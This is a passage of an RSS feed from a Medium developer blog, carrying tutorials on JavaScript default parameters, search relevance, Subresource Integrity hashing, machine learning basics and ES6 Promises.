            <content:encoded><![CDATA[<p><strong>Default function parameters</strong> allow formal parameters to be initialized with default values if no value or undefined is passed. We can use this fact to enforce a required parameter as well.</p><h4>Understanding the need</h4><p>Let us take the below example, which appends a value to an array. Array is an optional parameter which default to an empty array. But value must be provided to ensure something is appended.</p><pre>function <strong>append</strong>(value, array = []) {<br>  array.push(value);<br>  return array;<br>}</pre><pre>append(1); //[1]<br>append(2); //[2], not [1, 2]<br>append();  // [undefined]</pre><pre>// I want append() to throw error and enforce to pass atleast value</pre><p>Since we want to enforce the <strong>value</strong> to be always provide while calling the function, we need to throw error whenever value is not provided.</p><h4>Solution</h4><p>We know that if we use default parameter, it will be computed only if nothing is passed. So we will create a function whose return value is assigned to value, but this function instead of returning anything, it will raise an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*vPBDMcQnRqlHqbNSRbmcSw.png" /></figure><p>The above method is far better than testing its availability in the function code and throwing error</p><pre>// In general<br>function append(value, array = []){<br>    if(value == undefined){<br>        throw new Error(&#39;value is a required parameter&#39;)<br>    }<br>    ...<br>}</pre><h4>References:</h4><ol><li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">MDN Default parameters</a> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters</a>)</li><li><a href="https://medium.freecodecamp.org/default-parameters-in-javascript-4302958331f7">How Default Parameters Work in JavaScript (ES 6) — freeCodeCamp</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9bd8d5a0586" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/using-default-parameter-to-enforce-a-required-parameter-d9bd8d5a0586">Using Default Parameter to enforce a required Parameter</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Search]]></title>
            <link>https://medium.com/developer-s-blog/introduction-to-search-ce2cc064e30c?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce2cc064e30c</guid>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[search]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Sun, 08 Jan 2017 17:58:53 GMT</pubDate>
            <atom:updated>2017-01-08T17:58:53.934Z</atom:updated>
            <content:encoded><![CDATA[<h4>This article focuses on understanding the search and the challenges in building a relevant search experience</h4><p>Users increasingly needs to work with huge amount of content in today’s applications. In a typical application like social networking, e-commerce, books, mails, etc., search box is the first place where users go to explore and find answers which means that your search is more or less like a salesperson, and the results it provides may directly affects the business.</p><blockquote>Search is an information retrieval solution that helps to satisfy users’ information needs.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMq-b2FkYeMi1rzCebpRqQ.png" /><figcaption>Basic working of search Engine : Overview</figcaption></figure><h3>What is Relevance?</h3><p>The basic definition of relevance to a search application depends on the solution itself (<em>the problem that the application tries to solve</em>).</p><blockquote>Relevance is the art of ranking content for a search, based on how much that content satisfies the needs of the user and the business.</blockquote><p>To design a solution that provides relevant search results, understanding of the<strong><em> content</em></strong>, <strong><em>business </em></strong>and <strong><em>users</em></strong> is paramount apart from the technical understanding that one need to have in order to implement the functionality.</p><p><strong>Eg.</strong>, You have 2 Applications providing search functionality with following similarity:</p><ul><li>Both uses same content base/repository of technical articles</li><li>Both are for similar users : IT professional</li><li>Technical implementation of search is same for both application</li></ul><p>The only difference is the application use-case:</p><ol><li>Application 1 will be used by a IT professional who needs to finish his project fast, and he need some sample code snippet, etc.</li><li>Application 2 is also for IT professionals, but focuses on detailed explanations, mathematical proofs and their implementations.</li></ol><p>When an user searches for particular Data Structure e.g. Tree, <strong>Application 1 user expects some code snippet</strong> in a particular language like java, which tells how to use that Data Structure, whereas <strong>Application 2 user will be expecting implementation articles</strong> or which focuses on its analysis etc.</p><blockquote>Relevance is the practice of improving search results for users by satisfying their information needs in the context of a particular user experience, while balancing how ranking impacts our business’ needs.</blockquote><h3>No silver bullet for all search related problems</h3><p>There are open source applications like <a href="https://www.elastic.co/products/elasticsearch">elasticsearch </a>and <a href="http://lucene.apache.org/solr/">solr</a> which will provide you with the platform that will help you solve the technical wizardry of the problem. But the search results it provides by default <strong>may not be relevant</strong> for your users as each application has dramatically different relevance expectation.</p><h3><strong>Making search results more relevant:</strong></h3><p>Before moving ahead, let us understand some basic terminology.</p><p><strong>Feature</strong> is an attribute of the content or query.</p><p><strong>Feature Selection</strong> is the act of discovering and generating features that give us the appropriate information when a user searches.</p><p><strong>Signals </strong>measure whether items are relevant for a given search using features.</p><p><strong>Ranking function</strong> is used to combine multiple signals (<em>generally with different weightage</em>) to rank search results.</p><h4><strong>To solve relevance, the relevance engineer</strong></h4><ol><li>Identifies salient features describing the content, the user and/or the search query.</li><li>Finds a way to tell the search engine about those features through extraction and enrichment.</li><li>At search time, measures what’s relevant to a user’s search by crafting signals.</li><li>Carefully balances the influence of multiple signals to rank results by manipulating the ranking functions.</li></ol><p>Google crawls over 130 trillion individual pages. Google ranks their results using over 200 factors. Read more about <a href="https://www.google.com/insidesearch/howsearchworks/thestory/">Google’s how search works, the story</a>.</p><h4>Role of collaboration, curation and feedback</h4><p>Search engines incorporate mechanisms to constantly improve their search results and does not rely on the plain text-based information retrieval system. Eg. Google revolutionized web search by incorporating a numerical website trust measure (PageRank) to get around pure text-based measure.</p><p><strong>Collaboration</strong> helps to provide the relevant results to users based on the other users’ behavioural data (<em>from feedback</em>). This is similar to <a href="https://en.wikipedia.org/wiki/Collaborative_filtering">collaborative filtering</a>.</p><p><strong>Curation</strong> is the manipulation of content to be easily found by the user searches.</p><p><strong>Feedback</strong> from the application can be used to incorporate user behavioural data. Expert feedback and user behavioural data can be used to progressively improve search results.</p><h4>Summary</h4><p>Often the hardest part is having the understanding of the relationship between the context and the information needs of the user and the business.</p><p>Technical foundation is not enough to solve the search relevance problem. We need an understanding of content, user as well as the business.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce2cc064e30c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/introduction-to-search-ce2cc064e30c">Introduction to Search</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subresource Integrity (SRI)]]></title>
            <link>https://medium.com/developer-s-blog/subresource-integrity-sri-c930da8a52e3?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/c930da8a52e3</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Mon, 17 Oct 2016 08:43:04 GMT</pubDate>
            <atom:updated>2016-10-17T19:46:03.849Z</atom:updated>
            <content:encoded><![CDATA[<h4>While adding resources like jQuery / bootstrap, ever wondered what “ <strong>integrity</strong>” &amp; “ crossorigin&quot; attributes are ?</h4><h3>Introduction</h3><p>When adding libraries like jQuery and bootstrap from the cdn, you would have seen attributes integrity<strong> </strong>and crossorigin. <strong>Eg:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*Dyl4j-Qe69WYFe3_SDMtGQ.png" /><figcaption>Use of ‘integrity’ and ‘crossorigin’ when using third-party library</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*le5a20J1lkQ57DrIt0La_A.png" /><figcaption>use of SRI at <a href="http://getbootstrap.com/getting-started/#download"><strong>http://getbootstrap.com/getting-started/#download</strong></a></figcaption></figure><p>The integrity and crossorigin attributes are used for <a href="https://www.w3.org/TR/SRI/">Subresource Integrity (SRI) checking</a>. This allows browsers to ensure that resources hosted on third-party servers have not been tampered with. Use of SRI is recommended as a best-practice, whenever libraries are loaded from a third-party source.</p><h4>How it is different from using secure channel like HTTPS ?</h4><p>Delivering resources over a secure channel mitigates some of this risk: with <a href="https://tools.ietf.org/html/rfc5246">TLS</a>, <a href="https://tools.ietf.org/html/rfc6797">HSTS</a>, and <a href="https://tools.ietf.org/html/rfc7469">pinned public keys</a>, a user agent can be fairly certain that it is indeed speaking with the server it believes it’s talking to. These mechanisms, however, authenticate <em>only</em> the server, <em>not</em> the content. An attacker (or administrator) with access to the server can manipulate content with impunity. SRI, on the other hand, guarantees that a resource hasn’t changed since it was hashed by a web author.</p><h4>How to generate Integrity hashes ?</h4><p>You can generate the Integrity hashes online at <a href="https://www.srihash.org/">https://www.srihash.org/</a>, <strong>OR </strong>using the following shell command :</p><p>openssl dgst -sha384 -binary <strong>FILENAME.js</strong> | openssl base64 -A</p><h4>Using sha384 or sha512 or both ?</h4><p>Multiple sets of <a href="https://www.w3.org/TR/SRI/#dfn-integrity-metadata">integrity metadata</a> may be associated with a single resource in order to provide agility in the face of future cryptographic discoveries. And the authors can use both :</p><pre>&lt;script src=&quot;hello_world.js&quot;<br>   integrity=&quot;sha384-dOTZf16X8p34q2/kYyEFm0jh89uTjikhnzjeLeF0FHsEaYKb1A1cv+Lyv4Hk8vHd<br>              sha512-Q2bFTOhEALkN8hOms2FKTDLy7eugP2zFZ1T8LCvX42Fp3WoNr3bjZSAHeOsHrbV1Fu9/A0EzCinRE7Af1ofPrw==&quot;<br>   crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;</pre><h4><strong>Reference :</strong></h4><ul><li><a href="https://www.w3.org/TR/SRI/">W3 documentation</a></li><li><a href="https://www.srihash.org/">https://www.srihash.org/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c930da8a52e3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/subresource-integrity-sri-c930da8a52e3">Subresource Integrity (SRI)</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Machine Learning : An Introduction]]></title>
            <link>https://medium.com/developer-s-blog/machine-learning-an-introduction-de88d85ebc5d?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/de88d85ebc5d</guid>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Sat, 24 Sep 2016 11:58:21 GMT</pubDate>
            <atom:updated>2016-09-24T13:36:52.791Z</atom:updated>
            <content:encoded><![CDATA[<h4>This article will help understanding what exactly is machine learning and how is it related to / different from Artificial Intelligence, Data Mining, Deep Learning, Statistics, Recommendation Systems, etc.</h4><h3>What is Machine Learning ?</h3><p>Machine learning is a set of techniques that uses algorithms which iteratively learn from data and enables machine to make and improve predictions and behavior.</p><h4>How do we teach a machine ?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*-QxNMOoX6fI-x8-jHhrSKA.png" /><figcaption>Machine Learning Process</figcaption></figure><ol><li><strong>Collecting Data:</strong> Data-set having variety, density and volume of relevant data will help in better learning.</li><li><strong>Preparing the data:</strong> This involves fixing issues with the data set collected e.g. handling outliers and managing missing data points. Break the cleaned data-set into two parts, one for training and other for evaluating the program.</li><li><strong>Training a model:</strong> Choose an appropriate algorithm and representation of data in form of the model suited for your problem. Use the training data-set to train the model.</li><li><strong>Evaluating the model:</strong> To test the accuracy and precision of the model, use the test data-set kept aside in the step 2.</li><li><strong>Improving the performance:</strong> It might involve choosing different model and algorithm altogether, or introducing more variables and/or data to train the model.</li></ol><h4><strong>When do we say that machine is learning from some data?</strong></h4><blockquote>“A computer program is said to learn from experience E with respect to some task T and some performance measure P, if its performance on T, as measured by P, improves with experience E.” —<em> </em><a href="http://www.cs.cmu.edu/~tom/"><em>Tom Mitchell, </em></a><em>Carnegie Mellon University</em></blockquote><p>In layman&#39;s’ terms, if a computer program improves itself without explicit enhancing the program/algorithm, instead using the data that it receives generally by some feedback signals. For e.g. A search engine improving its result based on the user clicks.</p><p>In the example, the task ‘T’ of the program (search engine) is to provide relevant result, which has the performance measure ‘P’. When the user interacts with the program it receives data (user’s click) which is like the Experience ‘E’. Now if the program analyses the data to boost the results which have higher clicks for a particular search keyword, will will be increasing its performance measure ‘P’ as the users won’t have to scroll down a lot to get to a possible relevant result.</p><h4><strong>Where do we use it ?</strong></h4><ul><li>Search results (by google and others)</li><li>Fraud detection (in transaction by internet/mobile banking)</li><li>Real-time ads (e.g. youtube)</li><li>Recommendation on e-shopping sites (e.g. Amazon — Customer who bought this also bought)</li><li>Pattern and image recognition (e.g. Facebook’s tag suggestions)</li><li>Email spam filtering (e.g Gmail, Outlook, etc)</li></ul><h3>Similarity / Difference : Machine Learning &amp; …</h3><p>There are so many fields like Artificial Intelligence, Data Mining, Deep Learning, Statistics, Recommender Systems, Big Data, etc. which are closely related but sometimes misunderstood as same thing.</p><h4><strong>Machine Learning and Artificial Intelligence</strong></h4><p>Artificial Intelligence is a technique to enable computers to take rational decision. Machine learning is a subset of Artificial Intelligence where the machine is trained to learn from it’s past experience.</p><p>Artificial Intelligent system posses the following (in general):</p><ul><li><strong>Natural Language Processing</strong> to enable it to communicate successfully in human language</li><li><strong>Knowledge representation</strong> to store information provided before and during the process</li><li><strong>Automated Reasoning</strong> to use the stored information to answer questions and to draw new conclusions.</li><li><strong>Machine Learning</strong> to adapt to new circumstances and to detect and extrapolate patterns.</li></ul><h4>Machine Learning and Deep Learning</h4><p>Deep learning is a specialized type of Machine learning which is associated with Artificial Neural Network (ANN, a machine learning algorithm), that uses the concept of human brain to facilitate the modelling of arbitrary functions.</p><p>ANNs can -in theory — model any kind of relationship within a data set, but in practice getting reliable results from neural networks can be very tricky.</p><h4>Machine Learning and Data Mining</h4><p>Data Mining deals with searching specific information and Machine learning solely concentrates on performing a given task.</p><p><em>E.g. : Teaching someone how to cook is machine learning and finding the best chef trainer in the city is Data Mining.</em></p><p>In terms of the pattern discovery, following is the major difference:</p><ul><li>Data Mining discovers previously unknown patterns and knowledge</li><li>Machine Learning is used to reproduce known patterns and knowledge, automatically apply that to other data, and then automatically apply those results to decision making and actions.</li></ul><h4>Machine Learning and Statistics</h4><p>Statistics is a branch of Mathematics which utilizes data, either of the entire population or a sample drawn from the population to carry out the analysis and present inferences.<br>Machine learning uses the statistics heavily in its algorithm.</p><p>Any statistical modelling assumes a number of distributions while machine learning algorithms are generally agnostic of the distributions of all attributes.</p><h3>Popular Machine Learning Methods :</h3><p>Machine learning tasks are typically classified into three broad categories, depending on the nature of the learning “signal” or “feedback” available to a learning system.</p><h4><strong>Supervised Learning (Predictive Models):</strong></h4><p>The system is presented with example inputs and the desired output, and the goal is to learn a general rule that maps inputs to outputs. These are used to predict the future outcome based on the historical data.<br>For a given set (x as input,y as output), the algorithms will try out to find a find a function ‘f’, such that <strong>y = f(x)</strong></p><pre>Assuming there are no other variables, for given (x,y) let the function be in form of</pre><pre>y = f(x) = a + b.x</pre><pre>The task of the algorithm is to find the appropriate value of a and b such that it is able to map every pair of (x,y) with highest accuracy and precision.</pre><p>Once the algorithm predict the function using the training data-set, it will use that function to predict the future outcome.</p><h4><strong>Unsupervised Learning:</strong></h4><p>In this case, the program is provided with unlabeled data, and the algorithm explores the data and find some structure within. This is preferred when no historical data is available to provide as a training set. This works well on transactional data.</p><p>For e.g., it can identify groups of customers with similar attribute say based on their shopping patterns and then can be treated similarly in marketing campaigns or can be recommended items to buy based on the overall activity in that group.</p><p>Popular techniques include self-organizing maps, nearest-neighbor mapping, k-means clustering and singular value decomposition.</p><h4><strong>Reinforcement learning:</strong></h4><p>The machine train itself on a continual basis based on the environment it is exposed to and applies its enriched knowledge to solve business problems. This type of learning has three primary components: the agent (the learner or decision maker), the environment (everything the agent interacts with) and actions (what the agent can do).<br>A Reinforcement Learning(RL) essentially involves learning by interacting with an environment. An RL Agent learns from its past experience rather than its continual trial and error learning process as against supervised learning where an external supervisor provides example.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de88d85ebc5d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/machine-learning-an-introduction-de88d85ebc5d">Machine Learning : An Introduction</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Promises in ES6 (Part 2)]]></title>
            <link>https://medium.com/developer-s-blog/promises-in-es6-part-2-4-636930135186?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/636930135186</guid>
            <category><![CDATA[es6]]></category>
            <category><![CDATA[promises]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Wed, 01 Jun 2016 20:17:17 GMT</pubDate>
            <atom:updated>2017-01-08T08:46:32.990Z</atom:updated>
            <content:encoded><![CDATA[<p>We will try to understand the then and catch methods, which are used to perform some action after the promise is settled. We will also understand the fulfillment value of a promise.</p><p>Related articles: <a href="https://blog.sujeetjaiswal.com/promises-in-es6-part-1-4-e15e685a775f">Part 1: Basic Introduction and usages</a> |Part 3: Promise Methods| Part 4 : API based on Promises</p><h4>then(onFulfilled,onRejected) method</h4><p>This method is use to perform some action when a promise comes in Fulfilled state (resolved or rejected). This method takes two arguments, which are onFulfilled and onRejected callback (second argument is optional). The first callback is invoked when the promise is resolved and the fulfillment value is passed as the first argument of the function. If you do not want to use the onFulfilled callback for some reason, pass null as the first argument. The Second argument which is optional, is invoked when the promise is rejected which the reason/err passed as the first argument of the function.</p><p>The value passed can be a any valid JavaScript value like string, number, array or objects.</p><pre>somePromise.then(function(data){<br>  //Called when it is resolved<br>  //data - whatever passed in resolve<br>},function(err){<br>  //Called when promise is rejected [Optional]<br>  //err - whatever passed in reject<br>});</pre><p><strong>Chaining then() methods</strong></p><p>The then() always returns a new promise object, which allows chaining multiple then methods.</p><pre>//Ignoring onRejected Callback for brevity<br>somePromise<br>  .then(function(value){ ... })<br>  .then(funciton(value){ ... })</pre><p>There are few rules on which it is decided what data should be returned from the then method which could be used by the next then method.</p><ul><li><em>onFulfilled callback is called and No return statement </em>: New fulfilled Promise is created internally and returned.</li><li><em>onFulfilled callback is called and we return a custom Promise</em> : Internally creates and returns a new promise which resolves the custom Promise object.</li><li><em>onFulfilled callback is called and we returned a non-promise value </em>: Internally creates and returns a new promise which resolves the return value.</li><li><em>onFulfilled callback is null </em>: A callback is created interanally and replaced with the null. This function will internally created and returns a new onFulfilled promise object whose fulfillment value is same as the parent promise.</li><li>For onRejected callback, all the above four cases are same with the only change that the promise object which are created internally will be creating rejected promise object instead of onFulfilled promise object.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*g1EZpcctuSoa6Jcwp68SUQ.png" /><figcaption>Promises: then method chaining</figcaption></figure><h4>The catch(onRejected) method</h4><p>This method is similar to the using the ‘then’ method with first argument as null and handling only the onRejected case. This sounds more semantically correct for such cases.</p><pre>//when only error handling is required<br>somePromise.then(null<br>,function(err){<br>  ...<br>})</pre><pre>somePromise.catch(function(err){<br>  ...<br>})</pre><p>The catch method always returns a Promise. The rules for returning the Promise is same as that of then method’s onRejected method with only one additional case given below:</p><ul><li>If the promise object to which catch() is called gets fulfilled, then the catch() method simply returns a new fulfilled promise object and ignores the onRejected callback. The fulfillment value of the new promise object is same as the fulfillment value of the parent Promise.</li></ul><h4>Fulfillment Value</h4><p><strong>In Short:</strong></p><blockquote>When a value other than another promise is passed in resolve/reject of a promise, the value passed is the fulfillment value.</blockquote><blockquote>But when another promise (say promise-B) is passed in a resolve of a promise (say promise -A), the fulfillment value will be whatever the promise -B passed in its reject or resolve. The overall status of the promise will also be decided by the promise-B.</blockquote><p><strong>Detailed :</strong></p><p>When a promise is resolved or rejected, we pass certain data (string, Array, Object, etc.) which is received as a parameter in the functions passed in then/catch method.</p><pre>var a = new Promise(function(resolve,reject){<br>  ...<br>  resolve(&#39;Result&#39;);<br>  ...<br>  reject(&#39;Reason&#39;);<br>})</pre><pre>a.then(function(data){<br>  ...<br>},function(err){<br>  ...<br>})</pre><p>Resolve represents the successful operation whereas Reject represents the failed operation, but anyway whatever value we pass during resolve/reject we can access them from the first argument of the function passed in ‘then’ method.</p><p><strong>What if we resolve by another promise?</strong></p><p>In many case you may need to use a promise inside another promise and you would want to resolve/reject the promise based on the inner promise results. For this, we would resolve the promise by passing the inner promise instead of passing the value. This will cause the promise to be resolved or rejected based on the inner promise reject or resolve and the fulfillment value will be the data from the inner promise’s resolve/reject data. Lets use When a promise is passed in a resolve, the fulfillment value will be from the promised passed and the overall status will be based on the promise passed.a sample code to understand this.</p><pre>var outerPromise = new Promise(function(resolve,reject){<br>  ...<br>  var innerPromise = new Promise(function(res,rej){<br>    ...<br>    res(&#39;inner Resolved&#39;);<br>    ...<br>    rej(&#39;inner Rejected&#39;);<br>  });<br>  resolve(innerPromise); //Outer is always resolve<br>});</pre><pre>//using outerPromise</pre><pre>outerPromise.then(function(data){<br>  console.log(data);  //inner Resolved<br>},function(err){<br>  console.log(err);   //inner Rejected<br>})</pre><p>In the above snippet, outerPromise will always resolve and returns the innerPromise which may resolve or reject. When we finally use the outerPromise, even though we resolved it, but since we passed another promise in it, it will be resolved/rejected based on the innerPromise. The final value that is passed as the parameter is the callback will be the value returned from the innerPromise and this will be the final fulfillment value.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=636930135186" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/promises-in-es6-part-2-4-636930135186">Promises in ES6 (Part 2)</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Promises in ES6 -(Part 1)]]></title>
            <link>https://medium.com/developer-s-blog/promises-in-es6-part-1-4-e15e685a775f?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/e15e685a775f</guid>
            <category><![CDATA[promises]]></category>
            <category><![CDATA[es6]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Mon, 23 May 2016 19:57:07 GMT</pubDate>
            <atom:updated>2017-01-08T08:47:06.328Z</atom:updated>
            <content:encoded><![CDATA[<h4>An introduction to a new Asynchronous Programming pattern. Will also see how is it different / similar to callback pattern and the original event-based pattern.</h4><h4>What’s Promise?</h4><p>A promise represents a value that may not be available when it is requested but is guaranteed to be available sometime in future. This value returned in future can be a result of either success or error.</p><blockquote>The Promise object is used for deferred and asynchronous computations. A Promise represents an operation that hasn’t completed yet, but is expected in the future. — <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">MDN</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*87QnE5shZImGmVQfspM8tw.png" /><figcaption>Different stages in promise lifecycle (Details omitted)</figcaption></figure><h4>Don’t we have similar patterns already available?</h4><p>Yes, we do have the following two patterns.</p><ol><li>Event Pattern.</li><li>Callback Pattern.</li></ol><p>These are generally used interchangeably with help of some wrapper code. For example the XMLHttpRequest is implemented on a Event pattern, but jQuery provides this as a callback pattern</p><p><strong>AJAX (XMLHttpRequest) Event Pattern</strong></p><pre>var request = new XMLHttpRequest();<br>request.open(&#39;GET&#39;,&#39;<a href="http://sujeetjaiswal.com/placeholder/data.json">http://sujeetjaiswal.com/placeholder/data.json</a>&#39;)<br>request.addEventListener(&#39;load&#39;,function(){...})<br>request.addEventListener(&#39;error&#39;,function(){...})<br>request.send();</pre><p><strong>AJAX Callback Pattern (jQuery)</strong></p><pre>//Omitting details of function parameters and bod<br>$.ajax({<br>  url:&#39;http://.../data.json&#39;,<br>  success:function(){...},<br>  error:function(){...}<br>})</pre><p><strong>Problems with above pattern:</strong></p><ul><li>Difficult to maintain state of asynchronous operation.</li><li>The code becomes complex and harder to read / maintain when we have multiple level of nested asynchronous operations.</li><li>Difficult to pipe multiple asynchronous requests one after another.</li><li>What if we have multiple asynchronous tasks, and we want to execute a function only once after all tasks are finished.</li><li>What if we have multiple tasks and want to execute a function if any one of the task is finished only once.</li></ul><p>These problems can be easily solved using promises. Enough of comparisons, lets understand Promises …</p><h4>Promises Basics</h4><p><strong>Syntax (to create):</strong></p><pre>new Promise( /* executor */ function(resolve, reject) { ... } );</pre><p>The above syntax is used to create a promise. In general, we would need it only if we creating a library or some helper functions.</p><p><strong>Syntax (to use)</strong></p><pre>//assuming func() returns a promise<br>var promise = func();<br>promise.then(function(value){<br>  /*some code handling success*/<br>},function(err_value){<br>  /*some code handling error*/<br>})</pre><pre>//more compact<br>func().then( ... );</pre><p>The above code shows a typical syntax used with promises. ‘<strong>.then</strong>’ accepts two functions, the first one is called when the promise is fulfilled/resolved (similar to success-callback) and the second one is invoked if the promise is rejected (similar to error-callback).</p><pre>//using .catch to handle errors<br>//assuming func() return a promise<br>func().catch(function(err_value){<br>  /*some stuff here*/<br>})</pre><p>The <strong>.catch</strong> is used when we are interested in handling errors. It is similar to reject-callback of the <strong>.then</strong> method. I prefer this over using the reject-callback as it has more clear semantic. This can also be used after the .then to catch any errors after the complete operation.(see below the use in sample code.)</p><p><strong>Stated of Promises:</strong></p><ul><li><strong>Pending : </strong>This is the initial state of the promise. The resolve or rejected callback is yet to be invoked.</li><li><strong>Fulfilled : </strong>The operation is successful and the resolve callback will be invoked</li><li><strong>Rejected : </strong>The operation is failed. The reject callback will be invoked.</li><li><strong>Settled :</strong> The operation is either in Fulfilled or Rejected state.</li></ul><p>To understand this, lets dive into some code. The sample code creates a wrapper over the normal XMLHttpRequest’s get method. The function <strong>func()</strong> returns a promise. The returned promise when the func() is called is used with .then(…).catch(…). The functions passed as argument in .then will be called depending on if it is resolved or rejected, and then will finally .catch is used as a generic error handler.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5cafb0aa16071a22564f58f37c6c9f8b/href">https://medium.com/media/5cafb0aa16071a22564f58f37c6c9f8b/href</a></iframe><p>Planned parts of the series (Upcoming)</p><ul><li>Promises in ES6–(Part 2/4): Fullfillment value, .then and .catch method in detail</li><li>Promised in ES6–(Part 3/4):Promise.resolve, Promise.reject, Promise.all, Promise.race</li><li>Promised in ES6–(Part 4/4): APIs based on Promises.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e15e685a775f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/promises-in-es6-part-1-4-e15e685a775f">Promises in ES6 -(Part 1)</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>